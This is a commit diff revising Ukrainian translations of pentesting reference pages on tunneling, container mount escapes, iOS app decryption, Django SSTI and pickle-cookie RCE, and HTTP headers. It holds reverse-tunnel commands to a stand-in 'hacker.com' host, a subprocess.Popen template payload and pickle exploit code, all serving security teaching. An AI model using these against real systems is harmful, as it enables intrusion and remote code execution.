Translated ['src/generic-hacking/tunneling-and-port-forwarding.md', 'src

This commit is contained in:
Translator 2025-07-12 08:58:12 +00:00
parent 68451864ce
commit 1cde5dbcb0
6 changed files with 85 additions and 85 deletions

View File

@ -5,7 +5,7 @@
## Nmap tip
> [!WARNING]
> **ICMP** та **SYN** сканування не можуть бути тунельовані через socks проксі, тому ми повинні **вимкнути виявлення ping** (`-Pn`) і вказати **TCP сканування** (`-sT`), щоб це працювало.
> **ICMP** та **SYN** сканування не можуть бути тунельовані через socks проксі, тому ми повинні **вимкнути пінг виявлення** (`-Pn`) і вказати **TCP сканування** (`-sT`), щоб це працювало.
## **Bash**
@ -33,7 +33,7 @@ ssh -Y -C <user>@<ip> #-Y is less secure but faster than -X
```
### Local Port2Port
Відкрийте новий порт на SSH сервері --> Інший порт
Відкрийте новий порт на SSH-сервері --> Інший порт
```bash
ssh -R 0.0.0.0:10521:127.0.0.1:1521 user@10.0.0.1 #Local port 1521 accessible in port 10521 from everywhere
```
@ -108,7 +108,7 @@ sshuttle -D -r user@host 10.10.10.10 0/0 --ssh-cmd 'ssh -i ./id_rsa'
### Port2Port
Локальний порт --> Скомпрометований хост (активна сесія) --> Третій_комп'ютер:Порт
Локальний порт --> Скомпрометований хост (активна сесія) --> Третій_бокс:Порт
```bash
# Inside a meterpreter session
portfwd add -l <attacker_port> -p <Remote_port> -r <Remote_host>
@ -160,10 +160,10 @@ rportfwd stop [bind port]
- Трафік **тунелюється в межах C2 трафіку Beacon**, включаючи P2P посилання.
- **Привілеї адміністратора не потрібні** для створення зворотних портових переказів на високих портах.
### rPort2Port локально
### rPort2Port local
> [!WARNING]
> У цьому випадку **порт відкривається на хості beacon**, а не на Team Server, і **трафік надсилається до клієнта Cobalt Strike** (не до Team Server) і звідти до вказаного хоста:порту.
> У цьому випадку **порт відкривається на хості beacon**, а не на Team Server, і **трафік надсилається до клієнта Cobalt Strike** (не до Team Server), а звідти до вказаного хоста:порту.
```bash
rportfwd_local [bind port] [forward host] [forward port]
rportfwd_local stop [bind port]
@ -290,7 +290,7 @@ attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,f
victim> socat.exe TCP-LISTEN:2222 OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|TCP:hacker.com:443,connect-timeout=5
#Execute the meterpreter
```
Ви можете обійти **неавторизований проксі**, виконавши цей рядок замість останнього в консолі жертви:
Ви можете обійти **неавторизований проксі**, виконавши цю команду замість останньої в консолі жертви:
```bash
OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5
```
@ -326,7 +326,7 @@ attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh o
Це як консольна версія PuTTY (опції дуже схожі на клієнт ssh).
Оскільки цей бінар буде виконуватись на жертві і є клієнтом ssh, нам потрібно відкрити наш ssh сервіс і порт, щоб ми могли отримати зворотне з'єднання. Потім, щоб перенаправити лише локально доступний порт на порт у нашій машині:
Оскільки цей бінар буде виконуватись на жертві і є клієнтом ssh, нам потрібно відкрити наш сервіс ssh і порт, щоб ми могли отримати зворотне з'єднання. Потім, щоб перенаправити лише локально доступний порт на порт у нашій машині:
```bash
echo y | plink.exe -l <Our_valid_username> -pw <valid_password> [-p <port>] -R <port_ in_our_host>:<next_ip>:<final_port> <your_ip>
echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090
@ -350,7 +350,7 @@ netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444
Вам потрібно мати **доступ до RDP через систему**.\
Завантажте:
1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - Цей інструмент використовує `Dynamic Virtual Channels` (`DVC`) з функції Remote Desktop Service Windows. DVC відповідає за **тунелювання пакетів через RDP з'єднання**.
1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - Цей інструмент використовує `Dynamic Virtual Channels` (`DVC`) з функції Remote Desktop Service Windows. DVC відповідає за **тунелювання пакетів через RDP-з'єднання**.
2. [Proxifier Portable Binary](https://www.proxifier.com/download/#win-tab)
На вашому клієнтському комп'ютері завантажте **`SocksOverRDP-Plugin.dll`** ось так:
@ -364,7 +364,7 @@ C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll
```
C:\SocksOverRDP-x64> SocksOverRDP-Server.exe
```
Тепер підтвердіть на вашій машині (атакуючого), що порт 1080 слухає:
Тепер підтвердіть на вашій машині (атакуючий), що порт 1080 слухає:
```
netstat -antb | findstr 1080
```
@ -373,10 +373,10 @@ netstat -antb | findstr 1080
## Проксування Windows GUI додатків
Ви можете налаштувати Windows GUI додатки для роботи через проксі, використовуючи [**Proxifier**](https://www.proxifier.com/).\
У **Profile -> Proxy Servers** додайте IP-адресу та порт SOCKS сервера.\
У **Profile -> Proxification Rules** додайте назву програми для проксування та з'єднання з IP-адресами, які ви хочете проксувати.
У **Профіль -> Проксі-сервери** додайте IP-адресу та порт SOCKS-сервера.\
У **Профіль -> Правила проксування** додайте назву програми, яку потрібно проксувати, та з'єднання з IP-адресами, які ви хочете проксувати.
## Обхід NTLM проксі
## Обхід проксі NTLM
Раніше згадуваний інструмент: **Rpivot**\
**OpenVPN** також може обійти це, встановивши ці параметри у файлі конфігурації:
@ -434,7 +434,7 @@ victim> ./dnscat2 --dns host=10.10.10.10,port=5353
```
#### **У PowerShell**
Ви можете використовувати [**dnscat2-powershell**](https://github.com/lukebaggett/dnscat2-powershell) для запуску клієнта dnscat2 у PowerShell:
Ви можете використовувати [**dnscat2-powershell**](https://github.com/lukebaggett/dnscat2-powershell) для запуску клієнта dnscat2 у powershell:
```
Import-Module .\dnscat2.ps1
Start-Dnscat2 -DNSserver 10.10.10.10 -Domain mydomain.local -PreSharedSecret somesecret -Exec cmd
@ -570,15 +570,15 @@ Tunnel: <TUNNEL-UUID>
credentials-file: /root/.cloudflared/<TUNNEL-UUID>.json
url: http://127.0.0.1:8000
```
Запустіть з'єднувач:
Розпочніть з'єднувач:
```bash
cloudflared tunnel run mytunnel
```
Оскільки весь трафік виходить з хоста **вихідний через 443**, тунелі Cloudflared є простим способом обійти вхідні ACL або межі NAT. Зверніть увагу, що бінарний файл зазвичай працює з підвищеними привілеями використовуйте контейнери або прапорець `--user`, коли це можливо.
Оскільки весь трафік виходить з хоста **вихідний через 443**, тунелі Cloudflared є простим способом обійти вхідні ACL або межі NAT. Зверніть увагу, що бінарний файл зазвичай працює з підвищеними привілеями використовуйте контейнери або прапор `--user`, коли це можливо.
## FRP (Швидкий зворотний проксі)
[`frp`](https://github.com/fatedier/frp) є активно підтримуваним зворотним проксі на Go, який підтримує **TCP, UDP, HTTP/S, SOCKS та P2P NAT-пробивання**. Починаючи з **v0.53.0 (травень 2024)**, він може діяти як **SSH Tunnel Gateway**, тому цільовий хост може створити зворотний тунель, використовуючи лише стандартний клієнт OpenSSH додатковий бінарний файл не потрібен.
[`frp`](https://github.com/fatedier/frp) є активно підтримуваним зворотним проксі на Go, який підтримує **TCP, UDP, HTTP/S, SOCKS та P2P NAT-hole-punching**. Починаючи з **v0.53.0 (травень 2024)**, він може діяти як **SSH Tunnel Gateway**, тому цільовий хост може створити зворотний тунель, використовуючи лише стандартний клієнт OpenSSH додатковий бінарний файл не потрібен.
### Класичний зворотний TCP тунель
```bash
@ -599,7 +599,7 @@ localIP = "127.0.0.1"
localPort = 3389
remotePort = 5000
```
### Використання нового SSH шлюзу (без frpc бінарного файлу)
### Використання нового SSH шлюзу (без бінарного frpc)
```bash
# On frps (attacker)
sshTunnelGateway.bindPort = 2200 # add to frps.toml
@ -608,7 +608,7 @@ sshTunnelGateway.bindPort = 2200 # add to frps.toml
# On victim (OpenSSH client only)
ssh -R :80:127.0.0.1:8080 v0@attacker_ip -p 2200 tcp --proxy_name web --remote_port 9000
```
Вищезазначена команда публікує порт жертви **8080** як **attacker_ip:9000** без розгортання будь-яких додаткових інструментів ідеально для живого використання ресурсів.
Вищезазначена команда публікує порт жертви **8080** як **attacker_ip:9000** без розгортання будь-яких додаткових інструментів ідеально для використання ресурсів на місці.
## Інші інструменти для перевірки

View File

@ -2,7 +2,7 @@
{{#include ../../../../banners/hacktricks-training.md}}
Відкриття `/proc`, `/sys` та `/var` без належної ізоляції простору імен створює значні ризики для безпеки, включаючи збільшення поверхні атаки та розкриття інформації. Ці каталоги містять чутливі файли, які, якщо неправильно налаштовані або доступні несанкціонованому користувачу, можуть призвести до втечі з контейнера, модифікації хоста або надати інформацію, що сприяє подальшим атакам. Наприклад, неправильне монтування `-v /proc:/host/proc` може обійти захист AppArmor через його шляхову природу, залишаючи `/host/proc` незахищеним.
Відкриття `/proc`, `/sys` та `/var` без належної ізоляції простору імен створює значні ризики безпеки, включаючи збільшення поверхні атаки та розкриття інформації. Ці каталоги містять чутливі файли, які, якщо неправильно налаштовані або доступні несанкціонованому користувачу, можуть призвести до втечі з контейнера, модифікації хоста або надати інформацію, що сприяє подальшим атакам. Наприклад, неправильне монтування `-v /proc:/host/proc` може обійти захист AppArmor через його шляхову природу, залишаючи `/host/proc` незахищеним.
**Ви можете знайти додаткові деталі кожної потенційної вразливості в** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)**.**
@ -10,13 +10,13 @@
### `/proc/sys`
Цей каталог дозволяє доступ до зміни змінних ядра, зазвичай через `sysctl(2)`, і містить кілька підкаталогів, які викликають занепокоєння:
Цей каталог дозволяє доступ для зміни змінних ядра, зазвичай через `sysctl(2)`, і містить кілька підкаталогів, які викликають занепокоєння:
#### **`/proc/sys/kernel/core_pattern`**
- Описано в [core(5)](https://man7.org/linux/man-pages/man5/core.5.html).
- Якщо ви можете записувати в цей файл, можливо, записати конвеєр `|`, за яким слідує шлях до програми або скрипту, який буде виконано після того, як станеться збій.
- Зловмисник може знайти шлях всередині хоста до свого контейнера, виконавши `mount`, і записати шлях до бінарного файлу всередині файлової системи свого контейнера. Потім, викликати збій програми, щоб змусити ядро виконати бінарний файл поза контейнером.
- Зловмисник може знайти шлях всередині хоста до свого контейнера, виконавши `mount`, і записати шлях до бінарного файлу всередині файлової системи свого контейнера. Потім, викликавши збій програми, змусити ядро виконати бінарний файл поза контейнером.
- **Приклад тестування та експлуатації**:
```bash
@ -44,13 +44,13 @@ return 0;
- **Приклад перевірки доступу**:
```bash
ls -l $(cat /proc/sys/kernel/modprobe) # Check access to modprobe
ls -l $(cat /proc/sys/kernel/modprobe) # Перевірка доступу до modprobe
```
#### **`/proc/sys/vm/panic_on_oom`**
- Згадується в [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
- Глобальний прапор, який контролює, чи панікує ядро або викликає OOM killer, коли виникає умова OOM.
- Глобальний прапор, який контролює, чи панікує ядро або викликає OOM вбивцю, коли виникає умова OOM.
#### **`/proc/sys/fs`**
@ -60,7 +60,7 @@ ls -l $(cat /proc/sys/kernel/modprobe) # Check access to modprobe
#### **`/proc/sys/fs/binfmt_misc`**
- Дозволяє реєструвати інтерпретатори для ненативних бінарних форматів на основі їх магічного номера.
- Може призвести до підвищення привілеїв або доступу до root shell, якщо `/proc/sys/fs/binfmt_misc/register` доступний для запису.
- Може призвести до підвищення привілеїв або доступу до кореневого шеллу, якщо `/proc/sys/fs/binfmt_misc/register` доступний для запису.
- Відповідна експлуатація та пояснення:
- [Poor man's rootkit via binfmt_misc](https://github.com/toffan/binfmt_misc)
- Докладний посібник: [Video link](https://www.youtube.com/watch?v=WBC7hhgMvQQ)
@ -78,7 +78,7 @@ ls -l $(cat /proc/sys/kernel/modprobe) # Check access to modprobe
- **Приклад перезавантаження хоста**:
```bash
echo b > /proc/sysrq-trigger # Reboots the host
echo b > /proc/sysrq-trigger # Перезавантажує хост
```
#### **`/proc/kmsg`**
@ -231,7 +231,7 @@ REFRESH_TOKEN_SECRET=14<SNIP>ea
/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/140/fs/usr/share/nginx/html/index.html
/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/132/fs/usr/share/nginx/html/index.html
/ # echo '<!DOCTYPE html><html lang="uk"><head><script>alert("Збережений XSS!")</script></head></html>' > /host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/140/fs/usr/sh
/ # echo '<!DOCTYPE html><html lang="en"><head><script>alert("Stored XSS!")</script></head></html>' > /host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/140/fs/usr/sh
are/nginx/html/index2.html
```
@ -292,10 +292,10 @@ locate the other containers' filesystems and SA / web identity tokens
Mounting certain host Unix sockets or writable pseudo-filesystems is equivalent to giving the container full root on the node. **Treat the following paths as highly sensitive and never expose them to untrusted workloads**:
```text
/run/containerd/containerd.sock # сокет containerd CRI
/var/run/crio/crio.sock # сокет виконання CRI-O
/run/podman/podman.sock # API Podman (з правами root або без)
/var/run/kubelet.sock # API Kubelet на вузлах Kubernetes
/run/containerd/containerd.sock # сокет containerd CRI
/var/run/crio/crio.sock # сокет CRI-O
/run/podman/podman.sock # Podman API (з правами root або без)
/var/run/kubelet.sock # Kubelet API на вузлах Kubernetes
/run/firecracker-containerd.sock # Kata / Firecracker
```

View File

@ -8,10 +8,10 @@
Однак це не так просто, як просто витягти IPA, повторно підписати його з правом і завантажити назад на ваш пристрій. Це пов'язано з захистом FairPlay. Коли підпис змінюється, ключ DRM (управління цифровими правами) **стає недійсним, і застосунок не працюватиме**.
З старим джейлбрейкнутим пристроєм можна встановити IPA, **декодувати його за допомогою вашого улюбленого інструменту** (такого як Iridium або frida-ios-dump) і витягти його з пристрою. Хоча, якщо це можливо, рекомендується просто запитати у клієнта декодований IPA.
З старим джейлбрейкнутим пристроєм можна встановити IPA, **дешифрувати його за допомогою вашого улюбленого інструменту** (такого як Iridium або frida-ios-dump) і витягти його з пристрою. Хоча, якщо це можливо, рекомендується просто запитати у клієнта дешифрований IPA.
## Отримати декодований IPA
## Отримати дешифрований IPA
### Отримати його від Apple
@ -25,9 +25,9 @@
Перевірте [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed) для отримання більш детальної інформації про цей процес.
### Декодування застосунку
### Дешифрування застосунку
Щоб декодувати IPA, ми збираємося його встановити. Однак, якщо у вас старий джейлбрейкнутій iPhone, можливо, його версія не буде підтримуватися застосунком, оскільки зазвичай застосунки підтримують лише останні версії.
Щоб дешифрувати IPA, ми збираємося його встановити. Однак, якщо у вас старий джейлбрейкнутій iPhone, можливо, його версія не буде підтримуватися застосунком, оскільки зазвичай застосунки підтримують лише останні версії.
Отже, щоб його встановити, просто розпакуйте IPA:
```bash
@ -51,7 +51,7 @@ ideviceinstaller -i no-min-version.ipa -w
### Патчинг прав та повторне підписання
Щоб повторно підписати додаток з правом `get-task-allow`, доступно кілька інструментів, таких як `app-signer`, `codesign` та `iResign`. `app-signer` має дуже зручний інтерфейс, який дозволяє дуже легко повторно підписати файл IPA, вказуючи IPA для повторного підписання, **додати `get-task-allow`** та сертифікат і профіль провізії для використання.
Щоб повторно підписати додаток з правом `get-task-allow`, доступно кілька інструментів, таких як `app-signer`, `codesign` та `iResign`. `app-signer` має дуже зручний інтерфейс, який дозволяє дуже легко повторно підписати файл IPA, вказуючи IPA для повторного підписання, **додати `get-task-allow`** та сертифікат і профіль для використання.
Щодо сертифіката та профілів підписання, Apple пропонує **безкоштовні профілі підписання для розробників** для всіх облікових записів через Xcode. Просто створіть додаток і налаштуйте один. Потім налаштуйте **iPhone для довіри до додатків розробника**, перейшовши в `Налаштування``Конфіденційність та безпека`, і натисніть на `Режим розробника`.
@ -66,7 +66,7 @@ ideviceinstaller -i resigned.ipa -w
Оскільки в iOS 16 Apple представила **Режим розробника**: будь-який бінарний файл, який містить `get_task_allow` *або* підписаний сертифікатом розробника, відмовиться запускатися, поки режим розробника не буде увімкнено на пристрої. Ви також не зможете підключити Frida/LLDB, якщо цей прапорець не увімкнено.
1. Встановіть або надішліть **будь-який** підписаний розробником IPA на телефон.
2. Перейдіть до **Налаштування → Конфіденційність і безпека → Режим розробника** і увімкніть його.
2. Перейдіть до **Налаштування → Конфіденційність та безпека → Режим розробника** і увімкніть його.
3. Пристрій перезавантажиться; після введення коду доступу вам буде запропоновано **Увімкнути** режим розробника.
Режим розробника залишається активним, поки ви його не вимкнете або не скинете телефон, тому цей крок потрібно виконати лише один раз для кожного пристрою. [Документація Apple](https://developer.apple.com/documentation/xcode/enabling-developer-mode-on-a-device) пояснює наслідки для безпеки.
@ -92,7 +92,7 @@ objection -g "com.example.target" explore
# Or plain Frida
frida -U -f com.example.target -l my_script.js --no-pause
```
Останні випуски Frida (>=16) автоматично обробляють автентифікацію вказівників та інші пом'якшення iOS 17, тому більшість існуючих скриптів працюють з коробки.
Останні версії Frida (>=16) автоматично обробляють автентифікацію вказівників та інші пом'якшення iOS 17, тому більшість існуючих скриптів працюють без додаткових налаштувань.
### Автоматизований динамічний аналіз з MobSF (без джейлбрейка)
@ -106,10 +106,10 @@ opensecurity/mobile-security-framework-mobsf:latest
```
MobSF автоматично розгорне бінарний файл, увімкне сервер Frida всередині пісочниці додатку та згенерує інтерактивний звіт.
### iOS 17 та застереження режиму блокування
### iOS 17 та застереження щодо режиму блокування
* **Режим блокування** (Налаштування → Конфіденційність та безпека) блокує динамічний зв'язувач від завантаження непідписаних або зовнішньо підписаних динамічних бібліотек. При тестуванні пристроїв, на яких може бути увімкнено цей режим, переконайтеся, що він **вимкнений**, інакше ваші сесії Frida/objection завершаться негайно.
* Аутентифікація вказівників (PAC) застосовується на всій системі на пристроях A12+. Frida ≥16 прозоро обробляє видалення PAC — просто підтримуйте актуальними як *frida-server*, так і Python/CLI інструментальний набір, коли виходить нова основна версія iOS.
* Аутентифікація вказівників (PAC) застосовується на всіх пристроях A12+. Frida ≥16 прозоро обробляє видалення PAC — просто підтримуйте актуальність як *frida-server*, так і інструментів Python/CLI, коли виходить нова основна версія iOS.
## Посилання

View File

@ -1,18 +1,18 @@
# Django
{{#include /banners/hacktricks-training.md}}
{{#include /src/banners/hacktricks-training.md}}
## Маніпуляція кешем для RCE
Метод зберігання кешу за замовчуванням у Django - це [Python pickles](https://docs.python.org/3/library/pickle.html), що може призвести до RCE, якщо [недовірене введення буде розпаковано](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf). **Якщо зловмисник може отримати доступ на запис до кешу, він може ескалувати цю вразливість до RCE на базовому сервері**.
Кеш Django зберігається в одному з чотирьох місць: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [пам'яті](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [файлах](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16) або [базі даних](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). Кеш, збережений на сервері Redis або в базі даних, є найбільш ймовірними векторами атаки (впровадження Redis та SQL-ін'єкція), але зловмисник також може використовувати кеш на основі файлів, щоб перетворити довільний запис на RCE. Підтримувачі позначили це як неактуальне питання. Важливо зазначити, що папка файлів кешу, назва таблиці SQL та деталі сервера Redis можуть варіюватися в залежності від реалізації.
Кеш Django зберігається в одному з чотирьох місць: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [пам'яті](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [файлах](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16) або [базі даних](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). Кеш, збережений на сервері Redis або в базі даних, є найбільш ймовірними векторами атаки (впровадження Redis та SQL-ін'єкція), але зловмисник також може використовувати кеш на основі файлів, щоб перетворити довільний запис на RCE. Підтримувачі позначили це як незначну проблему. Важливо зазначити, що папка файлів кешу, назва таблиці SQL та деталі сервера Redis можуть варіюватися в залежності від реалізації.
Цей звіт HackerOne надає чудовий, відтворювальний приклад експлуатації кешу Django, збереженого в базі даних SQLite: https://hackerone.com/reports/1415436
---
## Впровадження шаблонів на стороні сервера (SSTI)
Мова шаблонів Django (DTL) є **тюрінг-повною**. Якщо дані, надані користувачем, відображаються як *рядок шаблону* (наприклад, викликом `Template(user_input).render()` або коли `|safe`/`format_html()` видаляє автоматичне екранування), зловмисник може досягти повного SSTI → RCE.
Мова шаблонів Django (DTL) є **повною за Тюрінгом**. Якщо дані, надані користувачем, відображаються як *рядок шаблону* (наприклад, шляхом виклику `Template(user_input).render()` або коли `|safe`/`format_html()` видаляє автоматичне екранування), зловмисник може досягти повного SSTI → RCE.
### Виявлення
1. Шукайте динамічні виклики до `Template()` / `Engine.from_string()` / `render_to_string()`, які включають *будь-які* неочищені дані запиту.
@ -23,22 +23,22 @@
Якщо відображений вихід містить `49`, введення компілюється шаблонним двигуном.
### Примітив до RCE
Django блокує прямий доступ до `__import__`, але об'єктна графіка Python доступна:
Django блокує прямий доступ до `__import__`, але граф об'єктів Python доступний:
```django
{{''.__class__.mro()[1].__subclasses__()}}
```
Знайдіть індекс `subprocess.Popen` (≈400500 в залежності від збірки Python) та виконайте довільні команди:
Знайдіть індекс `subprocess.Popen` (≈400500 в залежності від версії Python) та виконайте довільні команди:
```django
{{''.__class__.mro()[1].__subclasses__()[438]('id',shell=True,stdout=-1).communicate()[0]}}
```
Більш безпечний універсальний гаджет - це ітерація до `cls.__name__ == 'Popen'`.
Більш безпечний універсальний гаджет - це ітерація, поки `cls.__name__ == 'Popen'`.
Той же гаджет працює для **Debug Toolbar** або **Django-CMS** функцій рендерингу шаблонів, які неправильно обробляють введення користувача.
---
## RCE на основі сесійного куки з Pickle
Якщо налаштування `SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'` увімкнено (або користувацький серіалізатор, який десеріалізує pickle), Django *розшифровує та розпаковує* сесійний куки **перед** викликом будь-якого коду представлення. Тому наявність дійсного ключа підпису (за замовчуванням `SECRET_KEY` проекту) є достатньою для негайного віддаленого виконання коду.
## RCE через куки сесії на основі Pickle
Якщо налаштування `SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'` увімкнено (або користувацький серіалізатор, який десеріалізує pickle), Django *дешифрує та розпаковує* куки сесії **перед** викликом будь-якого коду представлення. Тому наявність дійсного ключа підпису (за замовчуванням `SECRET_KEY` проекту) є достатньою для негайного віддаленого виконання коду.
### Вимоги до експлуатації
* Сервер використовує `PickleSerializer`.
@ -58,17 +58,17 @@ return (os.system, ("id > /tmp/pwned",))
mal = signing.dumps(RCE(), key=b'SECRET_KEY_HERE', serializer=PickleSerializer)
print(f"sessionid={mal}")
```
Надішліть отримане cookie, і корисне навантаження виконується з правами WSGI worker.
Відправте отримане cookie, і корисне навантаження виконується з правами WSGI worker.
**Заходи захисту**: Залишайте за замовчуванням `JSONSerializer`, змінюйте `SECRET_KEY` та налаштовуйте `SESSION_COOKIE_HTTPONLY`.
---
## Останні (2023-2025) критичні CVE Django, які повинні перевірити пентестери
## Останні (2023-2025) критичні CVE для Django, які повинні перевірити пентестери
* **CVE-2025-48432** *Введення журналу через неекранований `request.path`* (виправлено 4 червня 2025 року). Дозволяє зловмисникам підсовувати нові рядки/ANSI коди в журнали та отруювати подальший аналіз журналів. Рівень патчу ≥ 4.2.22 / 5.1.10 / 5.2.2.
* **CVE-2024-42005** *Критичне SQL-введення* в `QuerySet.values()/values_list()` на `JSONField` (CVSS 9.8). Створіть JSON ключі, щоб вийти з цитування та виконати довільний SQL. Виправлено в 4.2.15 / 5.0.8.
Завжди визначайте точну версію фреймворку через сторінку помилки `X-Frame-Options` або хеш `/static/admin/css/base.css` та тестуйте вищезазначене, де це можливо.
Завжди визначайте точну версію фреймворку через сторінку помилки `X-Frame-Options` або хеш `/static/admin/css/base.css` та тестуйте вищезазначене, де це застосовно.
---
@ -76,4 +76,4 @@ print(f"sessionid={mal}")
* Випуск безпеки Django "Django 5.2.2, 5.1.10, 4.2.22 вирішують CVE-2025-48432" 4 червня 2025 року.
* OP-Innovate: "Django випускає оновлення безпеки для усунення вразливості SQL-введення CVE-2024-42005" 11 серпня 2024 року.
{{#include /banners/hacktricks-training.md}}
{{#include /src/banners/hacktricks-training.md}}

View File

@ -9,7 +9,7 @@
## Заголовки для зміни місця розташування
Переписати **IP джерела**:
Перезаписати **IP джерела**:
- `X-Originating-IP: 127.0.0.1`
- `X-Forwarded-For: 127.0.0.1`
@ -28,7 +28,7 @@
- `Via: 1.0 fred, 1.1 127.0.0.1`
- `Connection: close, X-Forwarded-For` (Перевірте заголовки hop-by-hop)
Переписати **місцезнаходження**:
Перезаписати **місцезнаходження**:
- `X-Original-URL: /admin/console`
- `X-Rewrite-URL: /admin/console`
@ -84,22 +84,22 @@
- **`Accept-Ranges`**: Вказує, чи підтримує сервер запити діапазону, і якщо так, в якій одиниці може бути виражений діапазон. `Accept-Ranges: <range-unit>`
- **`Range`**: Вказує частину документа, яку сервер повинен повернути. Наприклад, `Range:80-100` поверне байти з 80 по 100 оригінальної відповіді зі статус-кодом 206 Partial Content. Також пам'ятайте, щоб видалити заголовок `Accept-Encoding` з запиту.
- Це може бути корисно для отримання відповіді з довільним відображеним кодом javascript, який інакше міг би бути втечений. Але для зловживання цим вам потрібно буде вставити ці заголовки в запит.
- Це може бути корисно для отримання відповіді з довільним відображеним JavaScript-кодом, який інакше міг би бути втечений. Але для зловживання цим вам потрібно буде вставити ці заголовки в запит.
- **`If-Range`**: Створює умовний запит діапазону, який виконується лише у разі, якщо вказаний etag або дата збігаються з віддаленим ресурсом. Використовується для запобігання завантаженню двох діапазонів з несумісних версій ресурсу.
- **`Content-Range`**: Вказує, де в повному тілі повідомлення належить часткове повідомлення.
## Інформація про тіло повідомлення
- **`Content-Length`:** Розмір ресурсу, у десятковому числі байтів.
- **`Content-Length`:** Розмір ресурсу в десяткових байтах.
- **`Content-Type`**: Вказує медіа-тип ресурсу
- **`Content-Encoding`**: Використовується для вказівки алгоритму стиснення.
- **`Content-Language`**: Описує людську мову(и), призначену для аудиторії, щоб дозволити користувачу відрізняти відповідно до власної переваги мови.
- **`Content-Location`**: Вказує альтернативне місцезнаходження для повернених даних.
З точки зору pentest ця інформація зазвичай "марна", але якщо ресурс **захищений** 401 або 403 і ви можете знайти якийсь **спосіб** отримати цю **інформацію**, це може бути **цікаво.**\
З точки зору пентесту ця інформація зазвичай є "марною", але якщо ресурс **захищений** 401 або 403 і ви можете знайти якийсь **спосіб** отримати цю **інформацію**, це може бути **цікаво.**\
Наприклад, комбінація **`Range`** та **`Etag`** у запиті HEAD може витікати вміст сторінки через запити HEAD:
- Запит з заголовком `Range: bytes=20-20` і з відповіддю, що містить `ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"` витікає, що SHA1 байта 20 є `ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y`
- Запит з заголовком `Range: bytes=20-20` і відповіддю, що містить `ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"`, витікає, що SHA1 байта 20 є `ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y`
## Інформація про сервер
@ -109,7 +109,7 @@
## Контролі
- **`Allow`**: Цей заголовок використовується для спілкування HTTP-методів, які ресурс може обробляти. Наприклад, він може бути вказаний як `Allow: GET, POST, HEAD`, що вказує, що ресурс підтримує ці методи.
- **`Expect`**: Використовується клієнтом для передачі очікувань, які сервер повинен виконати, щоб запит був успішно оброблений. Загальний випадок використання включає заголовок `Expect: 100-continue`, який сигналізує, що клієнт має намір надіслати великий обсяг даних. Клієнт чекає на відповідь `100 (Continue)` перед продовженням передачі. Цей механізм допомагає оптимізувати використання мережі, чекаючи підтвердження від сервера.
- **`Expect`**: Використовується клієнтом для передачі очікувань, які сервер повинен виконати для успішної обробки запиту. Загальний випадок використання включає заголовок `Expect: 100-continue`, який сигналізує, що клієнт має намір надіслати великий обсяг даних. Клієнт чекає на відповідь `100 (Continue)` перед продовженням передачі. Цей механізм допомагає оптимізувати використання мережі, очікуючи підтвердження від сервера.
## Завантаження
@ -148,7 +148,7 @@ el.innerHTML = escaped // Results in safe assignment.
```
### **X-Content-Type-Options**
Цей заголовок запобігає визначенню типу MIME, що може призвести до вразливостей XSS. Він забезпечує, щоб браузери поважали типи MIME, вказані сервером.
Цей заголовок запобігає визначенню типу MIME, практика, яка може призвести до вразливостей XSS. Він забезпечує, щоб браузери поважали типи MIME, вказані сервером.
```
X-Content-Type-Options: nosniff
```
@ -158,15 +158,15 @@ X-Content-Type-Options: nosniff
```
X-Frame-Options: DENY
```
### **Політика ресурсів з крос-доменним доступом (CORP) та обмін ресурсами з крос-доменним доступом (CORS)**
### **Політика ресурсів з крос-доменним доступом (CORP) та Крос-доменний обмін ресурсами (CORS)**
CORP є важливим для визначення, які ресурси можуть бути завантажені веб-сайтами, зменшуючи витоки між сайтами. CORS, з іншого боку, дозволяє більш гнучкий механізм обміну ресурсами з крос-доменним доступом, послаблюючи політику однакового походження за певних умов.
